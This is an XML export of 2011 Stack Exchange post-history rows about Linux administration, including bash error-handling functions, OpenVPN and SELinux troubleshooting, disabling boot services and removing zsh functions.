  <row Id="20753" PostHistoryTypeId="5" PostId="8761" RevisionGUID="b3db96ab-1453-4d75-9cbc-c7664657ad8d" CreationDate="2011-03-07T20:05:04.463" UserId="3169" Comment="fix quoting" Text="If your commands don't have spaces in their arguments, you can rewrite your code like this:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    function try {&#xD;&#xA;        &quot;$@&quot;&#xD;&#xA;        code=$?&#xD;&#xA;        if [ $code -ne 0 ]&#xD;&#xA;        then&#xD;&#xA;            echo &quot;$1 did not work: exit status $code&quot;&#xD;&#xA;            exit 1&#xD;&#xA;        fi&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    try mkdir -p some/path&#xD;&#xA;    try cd some/path&#xD;&#xA;    try run_some_command&#xD;&#xA;&#xD;&#xA;If you don't actually need to log the error code, but just whether the command succeeded or not, you can shorten `try()` further like so:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    function try {&#xD;&#xA;        if ! &quot;$@&quot;&#xD;&#xA;        then&#xD;&#xA;            echo &quot;$1 did not work&quot;&#xD;&#xA;            exit 1&#xD;&#xA;        fi&#xD;&#xA;    }" />
  <row Id="20754" PostHistoryTypeId="5" PostId="8761" RevisionGUID="fbf3d244-8f8b-4210-9f25-5c8d4b932157" CreationDate="2011-03-07T20:12:12.287" UserId="138" Comment="minor tweak to prev" Text="You could rewrite your code like this:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    function try {&#xD;&#xA;        &quot;$@&quot;&#xD;&#xA;        code=$?&#xD;&#xA;        if [ $code -ne 0 ]&#xD;&#xA;        then&#xD;&#xA;            echo &quot;$1 did not work: exit status $code&quot;&#xD;&#xA;            exit 1&#xD;&#xA;        fi&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    try mkdir -p some/path&#xD;&#xA;    try cd some/path&#xD;&#xA;    try run_some_command&#xD;&#xA;&#xD;&#xA;If you don't actually need to log the error code, but just whether the command succeeded or not, you can shorten `try()` further like so:&#xD;&#xA;&#xD;&#xA;    function try {&#xD;&#xA;        if ! &quot;$@&quot;&#xD;&#xA;        then&#xD;&#xA;            echo &quot;$1 did not work&quot;&#xD;&#xA;            exit 1&#xD;&#xA;        fi&#xD;&#xA;    }" />
  <row Id="20755" PostHistoryTypeId="2" PostId="8775" RevisionGUID="f81bc691-e5f6-4b6e-8b82-437e4b0b45ee" CreationDate="2011-03-07T20:16:21.047" UserId="4724" Text="I have installed an OpenVPN server on my OpenWrt 10.03 router [freshly flashed]: &lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;https://pastebin.com/raw.php?i=hRECWuf1&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;It seems &quot;ok&quot;.&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;I connect my pc to the lan port of the router, and i want to try it out. I'm using Fedora 14 with GNOME. In the NetworkManager applet i set these things: &lt;a href=&quot;http://img821.imageshack.us/img821/5266/screenshotxrg.png&quot;&gt;this&lt;/a&gt; and &lt;a href=&quot;http://img822.imageshack.us/img822/6646/screenshot1lti.png&quot;&gt;this&lt;/a&gt;.&lt;br&gt;&#xD;&#xA;Ok!. i try to connect, but it fails. Here are the logs:&lt;br&gt;&#xD;&#xA;https://pastebin.com/raw.php?i=gv2xChxW&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;one important thing: my routers [the one with the openvpn server] ip address is 192.168.1.2, and i didn't had to write it nowhere. so how could the networkmanager applet know the ip address of my openvpn server? i think this is the problem, but i just can't find where to write 192.168.1.2&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Thank you :\&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;p.s.: yes, i tried to google for: &quot;No server certificate verification method has been enabled.&quot; but i didn't find a thing, and i'm trying for hours now... :\&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;p.s.[again..]: yes, i tried to google for: &quot;No server certificate verification method has been enabled.&quot; but i didn't find a thing, and i'm trying for hours now... :\&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;p.s.: if i [on the router]:&lt;br&gt;&#xD;&#xA;iptables -P INPUT ACCEPT&lt;br&gt;&#xD;&#xA;iptables -P FORWARD ACCEPT&lt;br&gt;&#xD;&#xA;iptables -P OUTPUT ACCEPT&lt;br&gt;&#xD;&#xA;iptables -t nat -P PREROUTING ACCEPT&lt;br&gt;&#xD;&#xA;iptables -t nat -P POSTROUTING ACCEPT&lt;br&gt;&#xD;&#xA;iptables -t nat -P OUTPUT ACCEPT&lt;br&gt;&#xD;&#xA;iptables -t mangle -P PREROUTING ACCEPT&lt;br&gt;&#xD;&#xA;iptables -t mangle -P OUTPUT ACCEPT&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;and stat tcpdump, and try to connect from my pc, nothing happens!.. so the bug is in the networkmanager applet!?&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;again, p.s.: if i:&lt;br&gt;&#xD;&#xA;$ telnet 192.168.1.2 1197&lt;br&gt;&#xD;&#xA;Trying 192.168.1.2...&lt;br&gt;&#xD;&#xA;telnet: connect to address 192.168.1.2: Connection refused&lt;br&gt;&#xD;&#xA;$connbsp;&lt;br&gt;&#xD;&#xA;Are there any good howtos about setting this kind of openvpn [as in the pastebin link, on an openwrt router..]? &lt;br&gt;&#xD;&#xA;Is it worth finding another openvpn client program? [other then the networkmanager applet]&lt;br&gt;" />
  <row Id="20756" PostHistoryTypeId="1" PostId="8775" RevisionGUID="f81bc691-e5f6-4b6e-8b82-437e4b0b45ee" CreationDate="2011-03-07T20:16:21.047" UserId="4724" Text="How to connect to OpenVPN with NetworkManager" />
  <row Id="20757" PostHistoryTypeId="3" PostId="8775" RevisionGUID="f81bc691-e5f6-4b6e-8b82-437e4b0b45ee" CreationDate="2011-03-07T20:16:21.047" UserId="4724" Text="élinuxàésecurityàéopenwrtàévpnà" />
  <row Id="20758" PostHistoryTypeId="2" PostId="8776" RevisionGUID="963b3d01-d8f7-4fec-adbd-c56bc0c1f707" CreationDate="2011-03-07T20:22:49.043" UserId="688" Text="Let's assume:&#xD;&#xA;&#xD;&#xA;* I have a mirror of the source repository locally.&#xD;&#xA;* I only want to build for the architecture I'm running, which is i386 in my case.&#xD;&#xA;* I'm not interested in customisation. In fact, I want the resulting binary packages to be as close to official ones as possible. From there on, I'll take care of how they are organised. I think I'll use [reprepro][1].&#xD;&#xA;* I want it to be as easy as possible.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://mirrorer.alioth.debian.org/" />
  <row Id="20759" PostHistoryTypeId="1" PostId="8776" RevisionGUID="963b3d01-d8f7-4fec-adbd-c56bc0c1f707" CreationDate="2011-03-07T20:22:49.043" UserId="688" Text="How to build all of Debian" />
  <row Id="20760" PostHistoryTypeId="3" PostId="8776" RevisionGUID="963b3d01-d8f7-4fec-adbd-c56bc0c1f707" CreationDate="2011-03-07T20:22:49.043" UserId="688" Text="édebianàécompilingà" />
  <row Id="20761" PostHistoryTypeId="25" PostId="8771" RevisionGUID="1cf6330e-b296-4fec-9fe0-af07d9b56e62" CreationDate="2011-03-07T20:23:39.440" Comment="http://twitter.com/#!/StackUnix/status/44855752904548352" />
  <row Id="20762" PostHistoryTypeId="5" PostId="8774" RevisionGUID="b505d6f7-2219-401f-8d86-df055574cf41" CreationDate="2011-03-07T20:25:22.910" UserId="3169" Comment="added 830 characters in body" Text="One common way is:&#xD;&#xA;&#xD;&#xA;    die() {&#xD;&#xA;        echo &quot;$*&quot; 1&gt;&amp;2&#xD;&#xA;        exit 1&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;then you use it like this:&#xD;&#xA;&#xD;&#xA;    mkdir -p some/path || die &quot;mkdir failed with status $?&quot;&#xD;&#xA;&#xD;&#xA;Or if you want it to include the exit status, you could change it to:&#xD;&#xA;&#xD;&#xA;    die() {&#xD;&#xA;        echo &quot;FATAL ERROR: $* (status $?)&quot; 1&gt;&amp;2&#xD;&#xA;        exit 1&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;and then using it is a bit easier:&#xD;&#xA;&#xD;&#xA;    mkdir -p some/path || die &quot;mkdir failed&quot;&#xD;&#xA;&#xD;&#xA;And your full example looks like:&#xD;&#xA;    &#xD;&#xA;    mkdir -p some/path || die &quot;mkdir failed&quot;&#xD;&#xA;    cd some/path || die &quot;cd failed&quot;&#xD;&#xA;    run_some_command || die &quot;some_command failed&quot;&#xD;&#xA;&#xD;&#xA;Just in case you haven't seen `command1 || command2` before, it runs `command1`, and if `command1` fails, it runs `command2`.&#xD;&#xA;&#xD;&#xA;So you can read it like &quot;make the directory or die&quot;.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Also, if you are going to use the name `some/path` multiple times, store it in a variable so you don't have to keep typing it, and can easily change it if you need to.&#xD;&#xA;&#xD;&#xA;    dir=some/path&#xD;&#xA;    mkdir -p &quot;$dir&quot; || die &quot;Cannot make $dir&quot;&#xD;&#xA;    cd &quot;$dir&quot; || die &quot;Cannot cd to $dir&quot;&#xD;&#xA;    run_some_command || die &quot;Cannot run some_command&quot;&#xD;&#xA;&#xD;&#xA;And if you plan to fix the problem and re-run the script, maybe you want the script to work if the directory already exists, so you don't have to remove it first, in which case, you would want&#xD;&#xA;&#xD;&#xA;    dir=some/path&#xD;&#xA;    if [ ! -d &quot;$dir&quot; ]; then&#xD;&#xA;        mkdir -p &quot;$dir&quot; || die &quot;Cannot make $dir&quot;&#xD;&#xA;    fi&#xD;&#xA;    cd &quot;$dir&quot; || die &quot;Cannot cd to $dir&quot;&#xD;&#xA;    run_some_command || die &quot;Cannot run some_command&quot;&#xD;&#xA;&#xD;&#xA;If you find that hard to read, you could write it like:&#xD;&#xA;&#xD;&#xA;    dir=some/path&#xD;&#xA;    if [ ! -d &quot;$dir&quot; ]; then&#xD;&#xA;        mkdir -p &quot;$dir&quot;        || die &quot;Cannot make $dir&quot;&#xD;&#xA;    fi&#xD;&#xA;    cd &quot;$dir&quot;                  || die &quot;Cannot cd to $dir&quot;&#xD;&#xA;    run_some_command           || die &quot;Cannot run some_command&quot;&#xD;&#xA;" />
  <row Id="20763" PostHistoryTypeId="5" PostId="8774" RevisionGUID="d2a097b2-9568-4948-9f00-0ea61f519e39" CreationDate="2011-03-07T20:37:22.147" UserId="3169" Comment="added 29 characters in body" Text="One common way is:&#xD;&#xA;&#xD;&#xA;    die() {&#xD;&#xA;        echo &quot;$*&quot; 1&gt;&amp;2&#xD;&#xA;        exit 1&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;then you use it like this:&#xD;&#xA;&#xD;&#xA;    mkdir -p some/path || die &quot;mkdir failed with status $?&quot;&#xD;&#xA;&#xD;&#xA;Or if you want it to include the exit status, you could change it to:&#xD;&#xA;&#xD;&#xA;    die() {&#xD;&#xA;        echo &quot;FATAL ERROR: $* (status $?)&quot; 1&gt;&amp;2&#xD;&#xA;        exit 1&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;and then using it is a bit easier:&#xD;&#xA;&#xD;&#xA;    mkdir -p some/path || die &quot;mkdir failed&quot;&#xD;&#xA;&#xD;&#xA;Just in case you haven't seen `command1 || command2` before, it runs `command1`, and if `command1` fails, it runs `command2`.&#xD;&#xA;&#xD;&#xA;So you can read it like &quot;make the directory or die&quot;.&#xD;&#xA;&#xD;&#xA;Your example would look like:&#xD;&#xA;    &#xD;&#xA;    mkdir -p some/path || die &quot;mkdir failed&quot;&#xD;&#xA;    cd some/path || die &quot;cd failed&quot;&#xD;&#xA;    run_some_command || die &quot;some_command failed&quot;&#xD;&#xA;&#xD;&#xA;Or you can align the `dies` further on the right so that the main code is more obvious.&#xD;&#xA;&#xD;&#xA;    mkdir -p some/path         || die &quot;mkdir failed&quot;&#xD;&#xA;    cd some/path               || die &quot;cd failed&quot;&#xD;&#xA;    run_some_command           || die &quot;some_command failed&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Also, if you are going to use the name `some/path` multiple times, store it in a variable so you don't have to keep typing it, and can easily change it if you need to.&#xD;&#xA;&#xD;&#xA;    dir=some/path&#xD;&#xA;    mkdir -p &quot;$dir&quot;            || die &quot;Cannot make $dir&quot;&#xD;&#xA;    cd &quot;$dir&quot;                  || die &quot;Cannot cd to $dir&quot;&#xD;&#xA;    run_some_command           || die &quot;Cannot run some_command&quot;&#xD;&#xA;&#xD;&#xA;And if you plan to fix the problem and re-run the script, maybe you want the script to work if the directory already exists, so you don't have to remove it first, in which case, you would want&#xD;&#xA;&#xD;&#xA;    dir=some/path&#xD;&#xA;    if [ ! -d &quot;$dir&quot; ]; then&#xD;&#xA;        mkdir -p &quot;$dir&quot;        || die &quot;Cannot make $dir&quot;&#xD;&#xA;    fi&#xD;&#xA;    cd &quot;$dir&quot;                  || die &quot;Cannot cd to $dir&quot;&#xD;&#xA;    run_some_command           || die &quot;Cannot run some_command&quot;&#xD;&#xA;" />
  <row Id="20764" PostHistoryTypeId="2" PostId="8777" RevisionGUID="9d0e5a90-8598-441f-b155-6435b6984e4f" CreationDate="2011-03-07T20:40:30.180" UserId="5485" Text="I just came here with a similar problem. From this, I managed to put together a slightly more advanced command, which I hope is useful for others.&#xD;&#xA;&#xD;&#xA;As Steven D said in the comments above `uniq` only counts adjacent repeat lines, so you need to sort the lines first. After that we find the unique lines then sort again so the most occurring lines are on top.&#xD;&#xA;&#xD;&#xA;    cat file.txt | sort | uniq -c | sort -nr &gt; output.txt&#xD;&#xA;&#xD;&#xA;Output is redirected into the file `output.txt`. If you just want to view results on the command line, remove the redirection and change the last command to `sort -n` so that the most common line will be at the bottom, i.e. definitely still on screen." />
  <row Id="20765" PostHistoryTypeId="2" PostId="8778" RevisionGUID="e31e9ee3-d967-46fc-ac7a-e31847658217" CreationDate="2011-03-07T20:41:55.180" UserId="36" Text="If you are writing a nagios check the perl module [File::ReadBackwards][1] is useful&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://search.cpan.org/dist/File-ReadBackwards/ReadBackwards.pm" />
  <row Id="20766" PostHistoryTypeId="5" PostId="8716" RevisionGUID="f17231e5-20ab-49b4-8236-e8b2235231ca" CreationDate="2011-03-07T20:43:51.237" UserId="2511" Comment="added 68 characters in body" Text="It uses WordStar key bindings by default. This was a common word processor in the early 80s, and I even used it in the early 90s. When I first got into Linux, I looked around for an editor that made sense to me, and hey, there it was.&#xD;&#xA;&#xD;&#xA;I imagine that some other now-skilled Unix/Linux users followed the same path, because Linux arrived just at the end of WordStar's effective life. So, one of the reasons is simply &quot;timing&quot;.&#xD;&#xA;&#xD;&#xA;Modern versions have syntax highlighting and other fancy features, so I haven't bothered to switch away.&#xD;&#xA;&#xD;&#xA;(I know how to use `vim` for editing config files, though. That's kind of a mandatory skill.)" />
  <row Id="20767" PostHistoryTypeId="5" PostId="420" RevisionGUID="eeceeb13-6622-47a3-9de1-39b04a084091" CreationDate="2011-03-07T21:06:04.870" UserId="328" Comment="deleted 39 characters in body" Text="On Ubuntu 10.04 you can control some startup programs from the GUI. &#xD;&#xA;&#xD;&#xA;System--&gt;Preferences--&gt;Startup Applications&#xD;&#xA;&#xD;&#xA;![startup apps][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/3c7Vy.png" />
  <row Id="20768" PostHistoryTypeId="2" PostId="8779" RevisionGUID="590b3caa-a163-4136-a42c-6da750cecbfe" CreationDate="2011-03-07T21:22:15.117" UserId="2689" Text="I had a function inside `.zshrc` that I removed.&#xD;&#xA;&#xD;&#xA;Now, when I try to source it, it indeed sources it, but doesn't remove the function that once was inside `.zshrc` from memory.&#xD;&#xA;&#xD;&#xA;Is there a way to remove the function (now I believe in memory, in zsh namespace or something like that) without restarting my machine?" />
  <row Id="20769" PostHistoryTypeId="1" PostId="8779" RevisionGUID="590b3caa-a163-4136-a42c-6da750cecbfe" CreationDate="2011-03-07T21:22:15.117" UserId="2689" Text="Is it possible to source again .bashrc and .zshrc AND remove functions once inside them without restarting?" />
  <row Id="20770" PostHistoryTypeId="3" PostId="8779" RevisionGUID="590b3caa-a163-4136-a42c-6da750cecbfe" CreationDate="2011-03-07T21:22:15.117" UserId="2689" Text="ézshàésourceàézshrcà" />
  <row Id="20771" PostHistoryTypeId="2" PostId="8780" RevisionGUID="55d81de5-8199-4ea5-9bf3-6ffc807dd222" CreationDate="2011-03-07T21:28:31.637" UserId="2511" Text="In zsh, you can remove a function with `unhash -f functionname` or `unfunction functionname`.&#xD;&#xA;&#xD;&#xA;That doesn't automatically clear functions you've removed from a given startup file, though, because of course the shell doesn't remember where it got it from in the first place and attribute any special meaning to re-sourcing the same file. So you'll have to know what you want to forget.&#xD;&#xA;&#xD;&#xA;Since you mention `.bashrc` in the subject: the bash equivalent is `unset -f functioname`" />
  <row Id="20772" PostHistoryTypeId="2" PostId="8781" RevisionGUID="a9f10411-e1a2-4538-b80f-37c6ef84aadb" CreationDate="2011-03-07T21:37:02.360" UserId="732" Text="Slackware and Arch linux have similar methods of stopping/starting processes at boot, different than the Ubuntu and Redhat-style examples given above.&#xD;&#xA;&#xD;&#xA;In both Slackware and Arch linuxes, sh scripts exist in directory `/etc/rc.d`, typically one script per daemon, or one script per subsystem.&#xD;&#xA;&#xD;&#xA;For example, Slackware starts the Apache web server with a script `/etc/rc.d/rc.httpd`, called at the appropriate time during system startup with an argument of &quot;start&quot;.  Arch linux has differently-named scripts, but the same sort of thing goes on.&#xD;&#xA;&#xD;&#xA;To keep some process from starting during system boot, on Slackware, you just make the appropriate script in /etc/rc.d not executable. To keep Apache from starting at the next boot:&#xD;&#xA;&#xD;&#xA;    chmod -x /etc/rc.d/rc.httpd&#xD;&#xA;&#xD;&#xA;To stop an Apache that got started at boot:  `/etc/rc.d/rc.httpd  stop`  You'll need to be root.&#xD;&#xA;&#xD;&#xA;Arch is a bit more complex.  The file /etc/rc.conf, a shell script, has an array DAEMONS. To keep Apache from starting at boot, you'd change this line in /etc/rc.conf:&#xD;&#xA;&#xD;&#xA;    DAEMONS=(hal syslog-ng network netfs crond alsa sshd httpd ntpd postgresql)&#xD;&#xA;&#xD;&#xA;To this line:&#xD;&#xA;&#xD;&#xA;    DAEMONS=(hal syslog-ng network netfs crond alsa sshd ntpd postgresql)&#xD;&#xA;&#xD;&#xA;To stop an already executing apache, you'd execute `/etc/rc.d/httpd stop` as root." />
  <row Id="20773" PostHistoryTypeId="2" PostId="8782" RevisionGUID="14e87e67-3066-427c-8e8f-4f1f7a6e7909" CreationDate="2011-03-07T21:56:18.227" UserId="5361" Text="So where points that address you typed in a gateway field? I've never configured OpenVPN using NetworkManager but i suppose that is the place where you should provide the address of your router. &#xD;&#xA;&#xD;&#xA;And in your log file there is a line which says:&#xD;&#xA;&#xD;&#xA;    Mar  7 15:42:43 ASDF nm-openvpn[23554]: Cannot load certificate file /home/g/Desktop/client1/client1.crt: error:0200100D:system library:fopen:Permission denied: error:20074002:BIO routines:FILE_CTRL:system lib: error:140AD002:SSL routines:SSL_CTX_use_certificate_file:system lib&#xD;&#xA;&#xD;&#xA;And after that:&#xD;&#xA;&#xD;&#xA;    Mar  7 15:42:43 ASDF kernel: [55630.235164] type=1400 audit(1299508963.340:23608): avc:  denied  { read } for  pid=23554 comm=&quot;openvpn&quot; name=&quot;client1.crt&quot; dev=dm-1 ino=3019385 scontext=system_u:system_r:openvpn_t:s0 tcontext=unconfined_u:object_r:user_home_t:s0 tclass=file&#xD;&#xA;&#xD;&#xA;It looks like a SELinux related problem. SELinux denies access to your certificate file. I would search [here][1] or [here][2] how to set rules for SELinux. For sure you should set read permission for certificate files to make openvpn able to read them. I don't use SELinux based system, so i can't check what rules u should use.&#xD;&#xA;&#xD;&#xA;About telnet: In your config you set 1194 port for openvpn, but you are trying to connect on 1197 port using telnet.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linuxdevcenter.com/pub/a/linux/excerpt/selnx_1/index.html&#xD;&#xA;  [2]: http://tanso.net/selinux/" />
  <row Id="20774" PostHistoryTypeId="2" PostId="8783" RevisionGUID="f1eaab4a-c428-420d-b2f7-e58d0e17fb04" CreationDate="2011-03-07T22:17:27.757" UserId="5321" Text="I have no experience with any Linux operating system and I just put Ubuntu on my MacBook Pro.&#xD;&#xA;&#xD;&#xA;What would you professionals recommend a beginner do to learn how to use this OS to its full potential?&#xD;&#xA;&#xD;&#xA;I've come across this - http://www.linuxlots.com/~jam/&#xD;&#xA;&#xD;&#xA;Ideally when I learn to program I want this to be my development machine.&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="20775" PostHistoryTypeId="1" PostId="8783" RevisionGUID="f1eaab4a-c428-420d-b2f7-e58d0e17fb04" CreationDate="2011-03-07T22:17:27.757" UserId="5321" Text="Resources to learn Linux?" />
  <row Id="20776" PostHistoryTypeId="3" PostId="8783" RevisionGUID="f1eaab4a-c428-420d-b2f7-e58d0e17fb04" CreationDate="2011-03-07T22:17:27.757" UserId="5321" Text="élinuxàécommandölineàéubuntuàévirtualömachineàélearningà" />
  <row Id="20778" PostHistoryTypeId="2" PostId="8785" RevisionGUID="5af2e097-8bac-440e-b256-45c9486bfbfb" CreationDate="2011-03-07T22:36:54.417" UserId="2511" Text="You can read some of the various online linux-for-newbies resources, and they might be some help. Going through the documentation for your distribution is worthwhile — both Ubuntu and Fedora have teams producing professional-quality documentation, at https://help.ubuntu.com/ and http://docs.fedoraproject.org/ respectively. If you're a book learner, there's plenty of books.&#xD;&#xA;&#xD;&#xA;But the only _real_ way to learn is to get your hands dirty. Therefore, I recommend setting up your system to dual-boot rather than just putting Linux in a VM. And then, boot into Linux and _stay there_ even when it gets difficult or annoying or frustrating. (In fact, I might go so far as to say just put Linux on there as the primary OS — you can always put the other one back if need be.)&#xD;&#xA;&#xD;&#xA;When you get stuck, come back here (or to other similar sites, but, y'know, I recommend this one) and ask questions.&#xD;&#xA;&#xD;&#xA;Malcolm Gladwell has this thing called &quot;[the 10,000 hour rule][1]&quot;, which he puts forth as the time you need to *really* master any particular skill. Of course, you can become *competent* with Linux (or many other things) far more quickly than that, but it really is about putting in the hands-on time.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gladwell.com/outliers/outliers_excerpt1.html" />
  <row Id="20779" PostHistoryTypeId="2" PostId="8786" RevisionGUID="54abbc8c-46ef-4cf0-bf14-291b4f148790" CreationDate="2011-03-07T23:01:49.370" UserId="5489" Text="I need a command line for pc os linux for mplayer. Im not finding the command anywhwere and when i try to use the zypper command to install mplayer it tells me i am not a sudoer please help me" />
  <row Id="20780" PostHistoryTypeId="1" PostId="8786" RevisionGUID="54abbc8c-46ef-4cf0-bf14-291b4f148790" CreationDate="2011-03-07T23:01:49.370" UserId="5489" Text="how do i install my player from terminal" />
  <row Id="20781" PostHistoryTypeId="3" PostId="8786" RevisionGUID="54abbc8c-46ef-4cf0-bf14-291b4f148790" CreationDate="2011-03-07T23:01:49.370" UserId="5489" Text="élinuxàémplayeràécommandà" />
  <row Id="20782" PostHistoryTypeId="25" PostId="8779" RevisionGUID="d7c1edf8-9a94-4a0f-ae6e-236fef89707d" CreationDate="2011-03-07T23:23:39.513" Comment="http://twitter.com/#!/StackUnix/status/44901050871840768" />
  <row Id="20783" PostHistoryTypeId="2" PostId="8787" RevisionGUID="5d70cadd-1a99-49d6-aa04-3c770e7f402b" CreationDate="2011-03-07T23:24:59.847" UserId="1207" Text="If you are dealing with a modern Ubuntu system and a few other distros you may have to deal with a combination of traditional init scripts and upstart scripts.  Managing init scripts is covered by other answers.  The following is one way to stop an upstart service from booting on boot:&#xD;&#xA;&#xD;&#xA;    # mv /etc/init/servicename.conf /etc/init/servicename.conf.disabled&#xD;&#xA;&#xD;&#xA;The problem with this method is that it does not allow you to start the service using:&#xD;&#xA;&#xD;&#xA;    # service start servicename&#xD;&#xA;&#xD;&#xA;An alternative to this is to open the `servicename.conf` file in your favorite editor and comment out any lines that start with:&#xD;&#xA;&#xD;&#xA;    start on&#xD;&#xA;&#xD;&#xA;That is, change this to&#xD;&#xA;&#xD;&#xA;    #start on ...&#xD;&#xA;&#xD;&#xA;where the &quot;...&quot; is whatever was after &quot;start on&quot; previously.  This way, when you want to re-enable it, you don't have to remember what the &quot;start on&quot; parameters were.  &#xD;&#xA;&#xD;&#xA;Finally, if you have a new version of upstart you can simply add the word &quot;manual&quot; to the end of the configuration file.  You can do this directly from the shell:&#xD;&#xA;&#xD;&#xA;    # echo &quot;manual&quot; &gt;&gt; /etc/init/servicename.conf&#xD;&#xA;&#xD;&#xA;This will cause upstart to ignore any &quot;start on&quot; phrases earlier in the file." />
  <row Id="20784" PostHistoryTypeId="2" PostId="8788" RevisionGUID="b8019c9d-7392-4d96-b8c0-34fac01697b8" CreationDate="2011-03-07T23:28:06.073" UserId="3445" Text="I have a 1900x1080 resolution monitor, and after installing Fedora to create a dual boot machine, the maximum resolution Fedora 14 (previously only Windows 7 was installed) can achieve is 1280x1024. Why is this the case? How do I figure out what to do to get full native resolution on my monitor in Fedora?" />
  <row Id="20785" PostHistoryTypeId="1" PostId="8788" RevisionGUID="b8019c9d-7392-4d96-b8c0-34fac01697b8" CreationDate="2011-03-07T23:28:06.073" UserId="3445" Text="Installed Fedora in dual boot Windows desktop. Now I can't get full monitor resolution." />
  <row Id="20786" PostHistoryTypeId="3" PostId="8788" RevisionGUID="b8019c9d-7392-4d96-b8c0-34fac01697b8" CreationDate="2011-03-07T23:28:06.073" UserId="3445" Text="élinuxàéfedoraà" />
  <row Id="20787" PostHistoryTypeId="5" PostId="8787" RevisionGUID="60be12a0-ace3-4bbe-a26c-55447a4d1e2b" CreationDate="2011-03-07T23:39:07.207" UserId="1207" Comment="added 1 characters in body" Text="If you are dealing with a modern Ubuntu system and a few other distros you may have to deal with a combination of traditional init scripts and upstart scripts.  Managing init scripts is covered by other answers.  The following is one way to stop an upstart service from starting on boot:&#xD;&#xA;&#xD;&#xA;    # mv /etc/init/servicename.conf /etc/init/servicename.conf.disabled&#xD;&#xA;&#xD;&#xA;The problem with this method is that it does not allow you to start the service using:&#xD;&#xA;&#xD;&#xA;    # service start servicename&#xD;&#xA;&#xD;&#xA;An alternative to this is to open the `servicename.conf` file in your favorite editor and comment out any lines that start with:&#xD;&#xA;&#xD;&#xA;    start on&#xD;&#xA;&#xD;&#xA;That is, change this to&#xD;&#xA;&#xD;&#xA;    #start on ...&#xD;&#xA;&#xD;&#xA;where the &quot;...&quot; is whatever was after &quot;start on&quot; previously.  This way, when you want to re-enable it, you don't have to remember what the &quot;start on&quot; parameters were.  &#xD;&#xA;&#xD;&#xA;Finally, if you have a new version of upstart you can simply add the word &quot;manual&quot; to the end of the configuration file.  You can do this directly from the shell:&#xD;&#xA;&#xD;&#xA;    # echo &quot;manual&quot; &gt;&gt; /etc/init/servicename.conf&#xD;&#xA;&#xD;&#xA;This will cause upstart to ignore any &quot;start on&quot; phrases earlier in the file." />
  <row Id="20788" PostHistoryTypeId="2" PostId="8789" RevisionGUID="18921bff-cf3a-437a-a538-4392791f6249" CreationDate="2011-03-07T23:43:25.347" UserId="5490" Text="You can run `less` and then use M-&gt; (that's the meta key, usually alt, and the '&gt;' at the same time) to go to the bottom of the file.&#xD;&#xA;`less` supports scrolling." />
  <row Id="20789" PostHistoryTypeId="2" PostId="8790" RevisionGUID="c4b3d56f-bb2b-4988-886d-124c91de15d8" CreationDate="2011-03-08T00:04:27.070" UserId="1375" Text="I've got PCManFM and Xfe as graphical file managers in my Arch Linux with Openbox.&#xD;&#xA;When I click on the Trash link in PCManFM I get an error saying &quot;Operation not supported&quot;.&#xD;&#xA;&#xD;&#xA;Question: Where do PCManFM and xfe put files you sent to the Trash? Thanks." />
  <row Id="20790" PostHistoryTypeId="1" PostId="8790" RevisionGUID="c4b3d56f-bb2b-4988-886d-124c91de15d8" CreationDate="2011-03-08T00:04:27.070" UserId="1375" Text="Where is the trash directory for PCManFM and xfe?" />
  <row Id="20791" PostHistoryTypeId="3" PostId="8790" RevisionGUID="c4b3d56f-bb2b-4988-886d-124c91de15d8" CreationDate="2011-03-08T00:04:27.070" UserId="1375" Text="éfileömanageràépcmanfmàéxfeàétrashà" />
  <row Id="20792" PostHistoryTypeId="5" PostId="8786" RevisionGUID="aeddee4a-bda8-44e1-8ca0-9a0beda0b6f1" CreationDate="2011-03-08T00:14:30.260" UserId="73" Comment="added 9 characters in body; edited title" Text="I need a command to run on Linux to install mplayer. I'm not finding the command anywhere, and when I try to use the `zypper` command to install mplayer it tells me I am not a sudoer. What should I do?" />
  <row Id="20793" PostHistoryTypeId="4" PostId="8786" RevisionGUID="aeddee4a-bda8-44e1-8ca0-9a0beda0b6f1" CreationDate="2011-03-08T00:14:30.260" UserId="73" Comment="added 9 characters in body; edited title" Text="How do I install mplayer from a terminal?" />
